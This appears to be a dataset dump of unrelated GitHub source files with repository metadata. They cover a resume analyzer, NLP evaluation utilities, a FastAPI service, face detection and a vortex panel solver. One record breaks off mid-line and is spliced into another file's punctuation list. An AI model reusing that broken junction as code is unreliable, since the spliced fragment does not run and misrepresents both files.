filter.remove(p)\n filter.insert(0, p) \n return filter \n \n #MODIFIED\n def export(self, fileName=None, toBytes=False, copy=False):\n if fileName is None and not toBytes and not copy:\n ##<>\n self.fileSaveDialog(filter=filter)\n return","repo_name":"radjkarl/pyqtgraph_karl","sub_path":"pyqtgraph_karl/exporters/ImageExporter.py","file_name":"ImageExporter.py","file_ext":"py","file_size_in_byte":923,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"31846674256","text":"# Dictionary is defined with a set of curly brace. \"{}\"\r\n# defaultdict is a subclass of class \"dict\".\r\n\r\nfrom collections import defaultdict\r\n\r\nprint(\"Is defaultdict subclass of dict? \", issubclass(defaultdict, dict), '.', sep='')\r\n\r\na_dict = dict()\r\na_dict['Kiron'] = 65\r\na_dict[65] = 'Kiron'\r\na_dict.setdefault(65, 'Nirob')\r\nprint(a_dict.get(65))\r\n","repo_name":"Sofiullah-Iqbal-Kiron/Python","sub_path":"Module Practice/defaultdict_practice.py","file_name":"defaultdict_practice.py","file_ext":"py","file_size_in_byte":350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25128929189","text":"import g4f\nfrom tika import parser # pip install tika\n\nraw = parser.from_file(\"resume.pdf\")\nresume_text = (\n str(raw[\"content\"].encode(\"utf-8\", errors=\"ignore\"))\n .replace(\"\\n\", \"\")\n .replace(\"\\\\\", \"\")\n)\n\nprint(resume_text)\n\n\ndef main():\n completion = g4f.ChatCompletion.create(\n model=g4f.models.gpt_35_turbo_16k_0613,\n messages=[\n {\n \"role\": \"user\",\n \"content\": \"O seguinte texto é extraído diretamente de um PDF de currículo. Leve em consideração os seguintes detalhes:\"\n + \"\\n\\n- Esse currículo pode estar escrito em qualquer linguagem, não necessariamente em portugues.\"\n + \"\\n\\n- Ao ler o currículo, dê sugestões de melhoria e cite diretamente as partes que devem ser corrigidas (faça citaçöes diretas, sem traduzir o que está escrito).\"\n + \"\\n\\n- Caso encontre símbolos aleatórios ou palavras que não existem, sinalize como grave e indique quais são essas palavras ou símbolos.\"\n + \"\\n\\n- Caso encontre erros de digitação, escreva como a palavra deve ser escrita corretamente.\"\n + \"\\n\\n- Dependendo da fonte utilizada, o currículo pode conter espaços entre as letras, caso isso ocorra apenas considere que esses espaços não existem e não sugira uma correção relacionada a isso.\"\n + \"\\n\\n- Para cada ponto levantado, adicione um dos seguintes prefixos para classificar e organizar: [GRAVÍSSIMO] [GRAVE] [MÉDIO] [OPCIONAL].\"\n + \"\\n\\nSegue o currículo:\"\n + \"\\n\\n\"\n + resume_text\n + \"\\n\\nDETALHE: Separe cada sugestão por uma linha em branco.\",\n }\n ],\n provider=g4f.Provider.You,\n )\n\n for message in completion:\n print(message, flush=True, end=\"\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"saulojoab/resume-ai-analizer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15794026538","text":"from __future__ import annotations\nimport datetime\nfrom dataclasses import dataclass, field\nfrom kiota_abstractions.serialization import Parsable, ParseNode, SerializationWriter\nfrom typing import Any, Callable, Dict, List, Optional, TYPE_CHECKING, Union\n\nif TYPE_CHECKING:\n from .agreement_acceptance_state import AgreementAcceptanceState\n from .entity import Entity\n\nfrom .entity import Entity\n\n@dataclass\nclass AgreementAcceptance(Entity):\n # The identifier of the agreement file accepted by the user.\n agreement_file_id: Optional[str] = None\n # The identifier of the agreement.\n agreement_id: Optional[str] = None\n # The display name of the device used for accepting the agreement.\n device_display_name: Optional[str] = None\n # The unique identifier of the device used for accepting the agreement. Supports $filter (eq) and eq for null values.\n device_id: Optional[str] = None\n # The operating system used to accept the agreement.\n device_o_s_type: Optional[str] = None\n # The operating system version of the device used to accept the agreement.\n device_o_s_version: Optional[str] = None\n # The expiration date time of the acceptance. The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z. Supports $filter (eq, ge, le) and eq for null values.\n expiration_date_time: Optional[datetime.datetime] = None\n # The OdataType property\n odata_type: Optional[str] = None\n # The Timestamp type represents date and time information using ISO 8601 format and is always in UTC time. For example, midnight UTC on Jan 1, 2014 is 2014-01-01T00:00:00Z.\n recorded_date_time: Optional[datetime.datetime] = None\n # The state of the agreement acceptance. Possible values are: accepted, declined. Supports $filter (eq).\n state: Optional[AgreementAcceptanceState] = None\n # Display name of the user when the acceptance was recorded.\n user_display_name: Optional[str] = None\n # Email of the user when the acceptance was recorded.\n user_email: Optional[str] = None\n # The identifier of the user who accepted the agreement. Supports $filter (eq).\n user_id: Optional[str] = None\n # UPN of the user when the acceptance was recorded.\n user_principal_name: Optional[str] = None\n \n @staticmethod\n def create_from_discriminator_value(parse_node: Optional[ParseNode] = None) -> AgreementAcceptance:\n \"\"\"\n Creates a new instance of the appropriate class based on discriminator value\n param parse_node: The parse node to use to read the discriminator value and create the object\n Returns: AgreementAcceptance\n \"\"\"\n if not parse_node:\n raise TypeError(\"parse_node cannot be null.\")\n return AgreementAcceptance()\n \n def get_field_deserializers(self,) -> Dict[str, Callable[[ParseNode], None]]:\n \"\"\"\n The deserialization information for the current model\n Returns: Dict[str, Callable[[ParseNode], None]]\n \"\"\"\n from .agreement_acceptance_state import AgreementAcceptanceState\n from .entity import Entity\n\n from .agreement_acceptance_state import AgreementAcceptanceState\n from .entity import Entity\n\n fields: Dict[str, Callable[[Any], None]] = {\n \"agreementFileId\": lambda n : setattr(self, 'agreement_file_id', n.get_str_value()),\n \"agreementId\": lambda n : setattr(self, 'agreement_id', n.get_str_value()),\n \"deviceDisplayName\": lambda n : setattr(self, 'device_display_name', n.get_str_value()),\n \"deviceId\": lambda n : setattr(self, 'device_id', n.get_str_value()),\n \"deviceOSType\": lambda n : setattr(self, 'device_o_s_type', n.get_str_value()),\n \"deviceOSVersion\": lambda n : setattr(self, 'device_o_s_version', n.get_str_value()),\n \"expirationDateTime\": lambda n : setattr(self, 'expiration_date_time', n.get_datetime_value()),\n \"recordedDateTime\": lambda n : setattr(self, 'recorded_date_time', n.get_datetime_value()),\n \"state\": lambda n : setattr(self, 'state', n.get_enum_value(AgreementAcceptanceState)),\n \"userDisplayName\": lambda n : setattr(self, 'user_display_name', n.get_str_value()),\n \"userEmail\": lambda n : setattr(self, 'user_email', n.get_str_value()),\n \"userId\": lambda n : setattr(self, 'user_id', n.get_str_value()),\n \"userPrincipalName\": lambda n : setattr(self, 'user_principal_name', n.get_str_value()),\n }\n super_fields = super().get_field_deserializers()\n fields.update(super_fields)\n return fields\n \n def serialize(self,writer: SerializationWriter) -> None:\n \"\"\"\n Serializes information the current object\n param writer: Serialization writer to use to serialize this model\n Returns: None\n \"\"\"\n if not writer:\n raise TypeError(\"writer cannot be null.\")\n super().serialize(writer)\n writer.write_str_value(\"agreementFileId\", self.agreement_file_id)\n writer.write_str_value(\"agreementId\", self.agreement_id)\n writer.write_str_value(\"deviceDisplayName\", self.device_display_name)\n writer.write_str_value(\"deviceId\", self.device_id)\n writer.write_str_value(\"deviceOSType\", self.device_o_s_type)\n writer.write_str_value(\"deviceOSVersion\", self.device_o_s_version)\n writer.write_datetime_value(\"expirationDateTime\", self.expiration_date_time)\n writer.write_datetime_value(\"recordedDateTime\", self.recorded_date_time)\n writer.write_enum_value(\"state\", self.state)\n writer.write_str_value(\"userDisplayName\", self.user_display_name)\n writer.write_str_value(\"userEmail\", self.user_email)\n writer.write_str_value(\"userId\", self.user_id)\n writer.write_str_value(\"userPrincipalName\", self.user_principal_name)\n \n\n","repo_name":"microsoftgraph/msgraph-sdk-python","sub_path":"msgraph/generated/models/agreement_acceptance.py","file_name":"agreement_acceptance.py","file_ext":"py","file_size_in_byte":5970,"program_lang":"python","lang":"en","doc_type":"code","stars":186,"dataset":"github-code","pt":"37"} +{"seq_id":"6927770331","text":"for _ in range(int(input())):\n n,k=list(map(int, input().split()))\n s=list(input())\n m=1-int(s[0])\n z=0\n for i in range(1, n):\n if s[i]=='0':\n z+=1\n else:\n if z', '?', '@', '[', '\\\\', ']', '^', '_', '`', '{',\n '|', '}', '~']\n if c in punc:\n return True\n return False\n\n\ndef split_sentence(context, sen_tokenizer):\n sentences = sen_tokenizer.tokenize(context)\n sen_start_list = []\n sen_end_list = []\n for sen in sentences:\n s = context.find(sen)\n assert s != -1\n e = s + len(sen) - 1\n sen_start_list.append(s)\n sen_end_list.append(e)\n return sen_start_list, sen_end_list\n\n\ndef improve_answer_span(doc_tokens, input_start, input_end, tokenizer,\n orig_answer_text):\n \"\"\"Returns tokenized answer spans that better match the annotated answer.\"\"\"\n\n # The SQuAD annotations are character based. We first project them to\n # whitespace-tokenized words. But then after WordPiece tokenization, we can\n # often find a \"better match\". For example:\n #\n # Question: What year was John Smith born?\n # Context: The leader was John Smith (1895-1943).\n # Answer: 1895\n #\n # The original whitespace-tokenized answer will be \"(1895-1943).\". However\n # after tokenization, our tokens will be \"( 1895 - 1943 ) .\". So we can match\n # the exact answer, 1895.\n #\n # However, this is not always possible. Consider the following:\n #\n # Question: What country is the top exporter of electornics?\n # Context: The Japanese electronics industry is the lagest in the world.\n # Answer: Japan\n #\n # In this case, the annotator chose \"Japan\" as a character sub-span of\n # the word \"Japanese\". Since our WordPiece tokenizer does not split\n # \"Japanese\", we just use \"Japanese\" as the annotation. This is fairly rare\n # in SQuAD, but does happen.\n tok_answer_text = \" \".join(tokenizer.tokenize(orig_answer_text))\n\n for new_start in range(input_start, input_end + 1):\n for new_end in range(input_end, new_start - 1, -1):\n text_span = \" \".join(doc_tokens[new_start:(new_end + 1)])\n if text_span == tok_answer_text:\n return new_start, new_end\n\n return input_start, input_end\n\n\ndef check_is_max_context(doc_spans, cur_span_index, position):\n \"\"\"Check if this is the 'max context' doc span for the token.\"\"\"\n\n # Because of the sliding window approach taken to scoring documents, a single\n # token can appear in multiple documents. E.g.\n # Doc: the man went to the store and bought a gallon of milk\n # Span A: the man went to the\n # Span B: to the store and bought\n # Span C: and bought a gallon of\n # ...\n #\n # Now the word 'bought' will have two scores from spans B and C. We only\n # want to consider the score with \"maximum context\", which we define as\n # the *minimum* of its left and right context (the *sum* of left and\n # right context will always be the same, of course).\n #\n # In the example the maximum context for 'bought' would be span C since\n # it has 1 left context and 3 right context, while span B has 4 left context\n # and 0 right context.\n best_score = None\n best_span_index = None\n for (span_index, doc_span) in enumerate(doc_spans):\n end = doc_span.start + doc_span.length - 1\n if position < doc_span.start:\n continue\n if position > end:\n continue\n num_left_context = position - doc_span.start\n num_right_context = end - position\n score = min(num_left_context, num_right_context) + 0.01 * doc_span.length\n if best_score is None or score > best_score:\n best_score = score\n best_span_index = span_index\n\n return cur_span_index == best_span_index\n\n\ndef get_best_indexes(logits, n_best_size):\n \"\"\"Get the n-best logits from a list.\"\"\"\n index_and_score = sorted(enumerate(logits), key=lambda x: x[1], reverse=True)\n\n best_indexes = []\n for i in range(len(index_and_score)):\n if i >= n_best_size:\n break\n best_indexes.append(index_and_score[i][0])\n return best_indexes\n\n\ndef get_final_text(pred_text, orig_text, do_lower_case, logger, verbose_logging=False):\n \"\"\"Project the tokenized prediction back to the original text.\"\"\"\n\n # When we created the data, we kept track of the alignment between original\n # (whitespace tokenized) tokens and our WordPiece tokenized tokens. So\n # now `orig_text` contains the span of our original text corresponding to the\n # span that we predicted.\n #\n # However, `orig_text` may contain extra characters that we don't want in\n # our prediction.\n #\n # For example, let's say:\n # pred_text = steve smith\n # orig_text = Steve Smith's\n #\n # We don't want to return `orig_text` because it contains the extra \"'s\".\n #\n # We don't want to return `pred_text` because it's already been normalized\n # (the SQuAD eval script also does punctuation stripping/lower casing but\n # our tokenizer does additional normalization like stripping accent\n # characters).\n #\n # What we really want to return is \"Steve Smith\".\n #\n # Therefore, we have to apply a semi-complicated alignment heruistic between\n # `pred_text` and `orig_text` to get a character-to-charcter alignment. This\n # can fail in certain cases in which case we just return `orig_text`.\n\n def _strip_spaces(text):\n ns_chars = []\n ns_to_s_map = collections.OrderedDict()\n for (i, c) in enumerate(text):\n if c == \" \":\n continue\n ns_to_s_map[len(ns_chars)] = i\n ns_chars.append(c)\n ns_text = \"\".join(ns_chars)\n return ns_text, ns_to_s_map\n\n # We first tokenize `orig_text`, strip whitespace from the result\n # and `pred_text`, and check if they are the same length. If they are\n # NOT the same length, the heuristic has failed. If they are the same\n # length, we assume the characters are one-to-one aligned.\n tokenizer = BasicTokenizer(do_lower_case=do_lower_case)\n\n tok_text = \" \".join(tokenizer.tokenize(orig_text))\n\n start_position = tok_text.find(pred_text)\n if start_position == -1:\n if verbose_logging:\n logger.info(\n \"Unable to find text: '%s' in '%s'\" % (pred_text, orig_text))\n return orig_text\n end_position = start_position + len(pred_text) - 1\n\n (orig_ns_text, orig_ns_to_s_map) = _strip_spaces(orig_text)\n (tok_ns_text, tok_ns_to_s_map) = _strip_spaces(tok_text)\n\n if len(orig_ns_text) != len(tok_ns_text):\n if verbose_logging:\n logger.info(\"Length not equal after stripping spaces: '%s' vs '%s'\",\n orig_ns_text, tok_ns_text)\n return orig_text\n\n # We then project the characters in `pred_text` back to `orig_text` using\n # the character-to-character alignment.\n tok_s_to_ns_map = {}\n for (i, tok_index) in tok_ns_to_s_map.items():\n tok_s_to_ns_map[tok_index] = i\n\n orig_start_position = None\n if start_position in tok_s_to_ns_map:\n ns_start_position = tok_s_to_ns_map[start_position]\n if ns_start_position in orig_ns_to_s_map:\n orig_start_position = orig_ns_to_s_map[ns_start_position]\n\n if orig_start_position is None:\n if verbose_logging:\n logger.info(\"Couldn't map start position\")\n return orig_text\n\n orig_end_position = None\n if end_position in tok_s_to_ns_map:\n ns_end_position = tok_s_to_ns_map[end_position]\n if ns_end_position in orig_ns_to_s_map:\n orig_end_position = orig_ns_to_s_map[ns_end_position]\n\n if orig_end_position is None:\n if verbose_logging:\n logger.info(\"Couldn't map end position\")\n return orig_text\n\n output_text = orig_text[orig_start_position:(orig_end_position + 1)]\n return output_text\n\n\ndef compute_softmax(scores):\n \"\"\"Compute softmax probability over raw logits.\"\"\"\n if not scores:\n return []\n\n max_score = None\n for score in scores:\n if max_score is None or score > max_score:\n max_score = score\n\n exp_scores = []\n total_sum = 0.0\n for score in scores:\n x = math.exp(score - max_score)\n exp_scores.append(x)\n total_sum += x\n\n probs = []\n for score in exp_scores:\n probs.append(score / total_sum)\n return probs\n\n\ndef find_evidence_sentence(sentence_span_list: List[Tuple], rationale_start_position: int, rationale_end_position: int):\n sentence_id = -1\n over_size = 0\n for sen_idx, (t_start, t_end) in enumerate(sentence_span_list):\n if t_end < rationale_start_position:\n continue\n if t_start > rationale_end_position:\n break\n if rationale_start_position <= t_end <= rationale_end_position:\n cur_size = t_end - max(rationale_start_position, t_start) + 1\n if cur_size > over_size:\n over_size = cur_size\n sentence_id = sen_idx\n elif rationale_start_position <= t_start <= rationale_end_position:\n cur_size = rationale_end_position - max(rationale_start_position, t_start) + 1\n if cur_size > over_size:\n over_size = cur_size\n sentence_id = sen_idx\n return sentence_id\n\n\ndef truncate_seq_pair(tokens_a, tokens_b, max_length):\n \"\"\"Truncates a sequence pair in place to the maximum length.\"\"\"\n\n # This is a simple heuristic which will always truncate the longer sequence\n # one token at a time. This makes more sense than truncating an equal percent\n # of tokens from each, since if one sequence is very short then each token\n # that's truncated likely contains more information than a longer sequence.\n while True:\n total_length = len(tokens_a) + len(tokens_b)\n if total_length <= max_length:\n break\n if len(tokens_a) > len(tokens_b):\n tokens_a.pop()\n else:\n tokens_b.pop()\n\n\nclass AverageMeter(object):\n \"\"\"Computes and stores the average and current value.\"\"\"\n\n def __init__(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def reset(self):\n self.val = 0\n self.avg = 0\n self.sum = 0\n self.count = 0\n\n def update(self, val, n=1):\n self.val = val\n self.sum += val * n\n self.count += n\n self.avg = self.sum / self.count\n\n def save(self):\n return {\n 'val': self.val,\n 'avg': self.avg,\n 'sum': self.sum,\n 'count': self.count\n }\n\n def load(self, value: dict):\n if value is None:\n self.reset()\n self.val = value['val'] if 'val' in value else 0\n self.avg = value['avg'] if 'avg' in value else 0\n self.sum = value['sum'] if 'sum' in value else 0\n self.count = value['count'] if 'count' in value else 0\n\n\nclass CategoricalAccuracy(object):\n def __init__(self, label_list: List[str]):\n self.predictions = Counter()\n self.label_list = [label.lower() for label in label_list]\n self.reset()\n\n def reset(self):\n self.predictions.clear()\n\n @staticmethod\n def _get_key(gold, pred) -> str:\n return '{} - {}'.format(str(gold).lower(), str(pred).lower())\n\n @staticmethod\n def _split_key(key: str) -> (str, str):\n strs = key.split(' - ')\n return strs[0], strs[1]\n\n def update(self, gold, pred):\n self.predictions[self._get_key(gold, pred)] += 1\n\n def __repr__(self):\n return json.dumps(self.predictions, indent=2)\n\n def f1_measure(self, positive_label, negative_label):\n true_positive = self.predictions[self._get_key(positive_label, positive_label)]\n false_positive = self.predictions[self._get_key(negative_label, positive_label)]\n true_negative = self.predictions[self._get_key(negative_label, negative_label)]\n false_negative = self.predictions[self._get_key(positive_label, negative_label)]\n\n precision = float(true_positive) / float(true_positive + false_positive + 1e-13)\n recall = float(true_positive) / float(true_positive + false_negative + 1e-13)\n f1_measure = 2. * ((precision * recall) / (precision + recall + 1e-13))\n accuracy = 1.0 * (true_positive + true_negative) / (true_positive + true_negative + false_positive + false_negative)\n result = {'precision': precision, 'recall': recall, 'f1': f1_measure, 'accuracy': accuracy}\n return result\n\n def read_predictions(self, ground_truths, predictions):\n \"\"\"\n :param ground_truths: ground_truths[(story_id, qid)]=List[List[answer_text]]\n :param predictions: official format predictions\n :return:\n \"\"\"\n for pred in predictions:\n story_id = pred['id']\n turn_id = pred['turn_id']\n\n pred_text = CoQAEvaluator.normalize_answer(pred['answer'])\n gold_text = CoQAEvaluator.normalize_answer(ground_truths[(story_id, turn_id)][0])\n\n label_list = self.label_list\n if pred_text not in label_list:\n pred_label = 'not'\n else:\n pred_label = pred_text\n if gold_text not in label_list:\n gold_label = 'not'\n else:\n gold_label = gold_text\n\n self.update(gold_label, pred_label)\n\n\nclass AttentionWeightWriter(object):\n def __init__(self, log_file):\n self.log_file = open(log_file, 'w')\n\n def write_weights(self, attention_matrix: torch.Tensor, col_ids: torch.Tensor = None, row_ids: torch.Tensor = None,\n col_mask: torch.Tensor = None, row_mask: torch.Tensor = None, id_to_str: Callable = None,\n do_softmax: bool = False):\n\n attn_matrix = attention_matrix.detach().cpu()\n if do_softmax:\n attn_matrix = softmax(attn_matrix, dim=-1)\n else:\n attn_matrix.exp_()\n batch, len1, len2 = attn_matrix.size()\n if col_ids is not None:\n col_ids = col_ids.detach().cpu()\n if row_ids is not None:\n row_ids = row_ids.detach().cpu()\n if col_mask is None:\n col_mask = torch.zeros(batch, len1)\n else:\n col_mask = col_mask.detach().cpu()\n if row_mask is None:\n row_mask = torch.zeros(batch, len2)\n else:\n row_mask = row_mask.detach().cpu()\n\n for batch_id in range(batch):\n print('batch_id = {}\\t'.format(batch_id), file=self.log_file)\n row_is_null = []\n for j in range(len2):\n t_str = self.index_to_token(index=(batch_id, j), ids=row_ids, mask=row_mask, id_to_str=id_to_str)\n if t_str is None:\n row_is_null.append(True)\n continue\n else:\n row_is_null.append(False)\n print(t_str, end='\\t', file=self.log_file)\n print(file=self.log_file)\n for i in range(len1):\n col_t_str = self.index_to_token(index=(batch_id, i), ids=col_ids, mask=col_mask, id_to_str=id_to_str)\n if col_t_str is None:\n continue\n else:\n print(col_t_str, end='\\t', file=self.log_file)\n for j in range(len2):\n if row_is_null[j]:\n continue\n else:\n print(attn_matrix[batch_id, i, j].item(), end='\\t', file=self.log_file)\n print(file=self.log_file)\n print('======================', file=self.log_file)\n\n @staticmethod\n def index_to_token(index, ids: torch.Tensor, mask: torch.Tensor, id_to_str: Callable = None):\n if mask[index] == 1:\n return None\n else:\n if ids is None:\n token_id = index[-1]\n return token_id\n\n token_id = ids[index].item()\n if id_to_str is not None:\n return id_to_str(token_id)\n else:\n return token_id\n\n\nclass CategoricalAccuracyAllen(object):\n \"\"\"\n Categorical Top-K accuracy. Assumes integer labels, with\n each item to be classified having a single correct class.\n Tie break enables equal distribution of scores among the\n classes with same maximum predicted scores.\n \"\"\"\n\n def __init__(self, top_k: int = 1, tie_break: bool = False) -> None:\n if top_k > 1 and tie_break:\n raise RuntimeError(\"Tie break in Categorical Accuracy \"\n \"can be done only for maximum (top_k = 1)\")\n if top_k <= 0:\n raise RuntimeError(\"top_k passed to Categorical Accuracy must be > 0\")\n self._top_k = top_k\n self._tie_break = tie_break\n self.correct_count = 0.\n self.total_count = 0.\n\n def __call__(self,\n predictions: torch.Tensor,\n gold_labels: torch.Tensor,\n mask: Optional[torch.Tensor] = None):\n \"\"\"\n Parameters\n ----------\n predictions : ``torch.Tensor``, required.\n A tensor of predictions of shape (batch_size, ..., num_classes).\n gold_labels : ``torch.Tensor``, required.\n A tensor of integer class label of shape (batch_size, ...). It must be the same\n shape as the ``predictions`` tensor without the ``num_classes`` dimension.\n mask: ``torch.Tensor``, optional (default = None).\n A masking tensor the same size as ``gold_labels``.\n \"\"\"\n predictions, gold_labels, mask = self.unwrap_to_tensors(predictions, gold_labels, mask)\n\n # Some sanity checks.\n num_classes = predictions.size(-1)\n if gold_labels.dim() != predictions.dim() - 1:\n raise RuntimeError(\"gold_labels must have dimension == predictions.size() - 1 but \"\n \"found tensor of shape: {}\".format(predictions.size()))\n if (gold_labels >= num_classes).any():\n raise RuntimeError(\"A gold label passed to Categorical Accuracy contains an id >= {}, \"\n \"the number of classes.\".format(num_classes))\n\n predictions = predictions.view((-1, num_classes))\n gold_labels = gold_labels.view(-1).long()\n if not self._tie_break:\n # Top K indexes of the predictions (or fewer, if there aren't K of them).\n # Special case topk == 1, because it's common and .max() is much faster than .topk().\n if self._top_k == 1:\n top_k = predictions.max(-1)[1].unsqueeze(-1)\n else:\n top_k = predictions.topk(min(self._top_k, predictions.shape[-1]), -1)[1]\n\n # This is of shape (batch_size, ..., top_k).\n correct = top_k.eq(gold_labels.unsqueeze(-1)).float()\n else:\n # prediction is correct if gold label falls on any of the max scores. distribute score by tie_counts\n max_predictions = predictions.max(-1)[0]\n max_predictions_mask = predictions.eq(max_predictions.unsqueeze(-1))\n # max_predictions_mask is (rows X num_classes) and gold_labels is (batch_size)\n # ith entry in gold_labels points to index (0-num_classes) for ith row in max_predictions\n # For each row check if index pointed by gold_label is was 1 or not (among max scored classes)\n correct = max_predictions_mask[torch.arange(gold_labels.numel()).long(), gold_labels].float()\n tie_counts = max_predictions_mask.sum(-1)\n correct /= tie_counts.float()\n correct.unsqueeze_(-1)\n\n if mask is not None:\n correct *= mask.view(-1, 1).float()\n self.total_count += mask.sum()\n else:\n self.total_count += gold_labels.numel()\n self.correct_count += correct.sum()\n\n def get_metric(self, reset: bool = False):\n \"\"\"\n Returns\n -------\n The accumulated accuracy.\n \"\"\"\n if self.total_count > 1e-12:\n accuracy = float(self.correct_count) / float(self.total_count)\n else:\n accuracy = 0.0\n if reset:\n self.reset()\n return accuracy\n\n def reset(self):\n self.correct_count = 0.0\n self.total_count = 0.0\n\n @staticmethod\n def unwrap_to_tensors(*tensors: torch.Tensor):\n \"\"\"\n If you actually passed gradient-tracking Tensors to a Metric, there will be\n a huge memory leak, because it will prevent garbage collection for the computation\n graph. This method ensures that you're using tensors directly and that they are on\n the CPU.\n \"\"\"\n return (x.detach().cpu() if isinstance(x, torch.Tensor) else x for x in tensors)\n","repo_name":"SparkJiao/Self-Training-MRC","sub_path":"general_util/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":25564,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"37"} +{"seq_id":"39149378565","text":"\"\"\"\r\nConfeccionar un programa que genere un número aleatorio entre 1 y 100 y no se muestre.\r\nEl operador debe tratar de adivinar el número ingresado.\r\nCada vez que ingrese un número mostrar un mensaje \"Gano\" si es igual al generado o \"El número aleatorio es mayor\" o \"El número aleatorio es menor\".\r\nMostrar cuando gana el jugador cuantos intentos necesitó.\r\n\"\"\"\r\n\r\nimport random\r\n\r\ndef GenerarNum():\r\n numero=random.randint(1, 100)\r\n return numero\r\n\r\ndef ComenzarJuego(numero):\r\n teclado=0\r\n intento=1\r\n while teclado!=numero:\r\n print(30*\"*\")\r\n print(\"rango entre 1 y 100\".upper())\r\n print(30*\"*\")\r\n teclado=int(input(\"Intenta acertar el numero aleatorio: \"))\r\n if teclado==numero:\r\n print(\"ENHORABUENA: Has acertado el numero secreto [%s].\" % (numero))\r\n print(\"Has necesitado %s intentos.\" % (intento))\r\n #PARTE EXTRA: Da indicaciones de si te vas acercando al valor\r\n else:\r\n print(\"Has fallado.\")\r\n transformar=numero-teclado\r\n #Convierte el valor siempre en positivo\r\n if transformar<0:\r\n transformar=transformar*-1\r\n else:\r\n transformar=transformar*1\r\n #Condiciones segun se vaya acercando\r\n if transformar>50:\r\n print(\"No te has acercado lo mas minimo al valor secreto.\")\r\n else:\r\n if transformar>30:\r\n print(\"Te has acercado minimamente al valor secreto.\")\r\n else:\r\n if transformar>15:\r\n print(\"Te has acercado medianamente al valor secreto.\")\r\n else:\r\n if transformar>5:\r\n print(\"Has estado cerca del valor secreto.\")\r\n else:\r\n print(\"Casi aciertas el valor secreto.\")\r\n intento+=1\r\n\r\nvalor=GenerarNum()\r\nComenzarJuego(valor)\r\n","repo_name":"chungomovil/python","sub_path":"retomar/39_1.py","file_name":"39_1.py","file_ext":"py","file_size_in_byte":1983,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"23858726747","text":"#Face class with isFace method to count number of faces in image\n#Counts number of faces\n\n#computer vision library. Recognizes a face from camera feed\nimport cv2\n\nclass Face:\n\n @staticmethod\n #Checks how many faces can be recognized\n def isFace(imagePath):\n #Data used to train cv2 to recognize faces\n frontal_face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + \"haarcascade_frontalface_default.xml\")\n #cv2 used to read image path\n img = cv2.imread(imagePath)\n #convert color fomat into a readable format for the AI\n gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n #Detect how many faces are in the image\n faces = frontal_face_cascade.detectMultiScale(gray, 1.1, 5)\n #print(\"faces: \" + str(len(faces)))\n #print(faces)\n #return number of faces\n return str(len(faces))\n","repo_name":"VictorKirubi/face_recognition","sub_path":"app/dataprocessing/face.py","file_name":"face.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11378740745","text":"from fastapi import FastAPI\n\nfrom routers import auth, login\n\nfrom libs.database import database\n\napp = FastAPI(\n name='User Service',\n)\n\n\n@app.on_event(\"startup\")\nasync def startup():\n await database.connect()\n\n\n@app.on_event(\"shutdown\")\nasync def shutdown():\n await database.disconnect()\n\napp.include_router(auth.router, prefix='/api/v1', tags=['auth'])\napp.include_router(login.router, prefix='/api/v1', tags=['auth'])\n","repo_name":"alexgreendev/map-service","sub_path":"user_service/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3726215384","text":"import pytest\nfrom src.pipeline import nlp\nfrom modules.profanity import profanity_rule\n\n\n@pytest.mark.parametrize(\n \"submission_words, expected\",\n [\n (\n [\n word.text\n for word in nlp(\n \"\"\"\n This is a good practice with attentive staff who always make me feel massively good\n \"\"\"\n )\n ],\n (0, []),\n ),\n (\n [\n word.text\n for word in nlp(\n \"\"\"\n load of rubbish don't go there at the risk of getting gerrymandering\n \"\"\"\n )\n ],\n (1, [\"gerrymandering\"]),\n ),\n ],\n)\ndef test_profanity_BAU(submission_words, expected):\n assert profanity_rule(submission_words) == expected\n","repo_name":"murdomoyse/dockerised-flask-nlp-app","sub_path":"test/modules/test_profanity.py","file_name":"test_profanity.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42005743903","text":"# Vortex panel method module\nimport numpy\nfrom matplotlib import pyplot\n\n# velocity component functions\ndef get_u( x, y, S, gamma ):\n return gamma/(2*numpy.pi)*(numpy.arctan((x-S)/y)-numpy.arctan((x+S)/y))\ndef get_v( x, y, S, gamma ):\n return gamma/(4*numpy.pi)*(numpy.log(((x+S)**2+y**2)/((x-S)**2+y**2)))\n\n# vortex panel class\nclass Panel:\n \n # save the inputs and pre-compute factors for the coordinate tranform\n def __init__( self, x0, y0, x1, y1, gamma=0 ):\n self.x,self.y,self.gamma = [x0,x1],[y0,y1],gamma\n self.xc = 0.5*(x0+x1) # panel x-center\n self.yc = 0.5*(y0+y1) # panel y-center\n self.S = numpy.sqrt( # ...\n (x1-self.xc)**2+(y1-self.yc)**2) # panel width\n self.sx = (x1-self.xc)/self.S # unit vector in x\n self.sy = (y1-self.yc)/self.S # unit vector in y\n \n # get the velocity!\n def velocity( self, x, y, gamma=None ):\n if gamma is None: gamma = self.gamma # default gamma\n xp,yp = self.transform_xy( x, y ) # transform\n up = get_u( xp, yp, self.S, gamma ) # get u prime\n vp = get_v( xp, yp, self.S, gamma ) # get v prime\n return self.rotate_uv( up, vp ) # rotate back\n \n # plot the panel\n def plot(self):\n return pyplot.plot(self.x,self.y,'k-',lw=2)\n \n # transform from global to panel coordinates\n def transform_xy( self, x, y ):\n xt = x-self.xc # shift x\n yt = y-self.yc # shift y\n xp = xt*self.sx+yt*self.sy # rotate x\n yp = 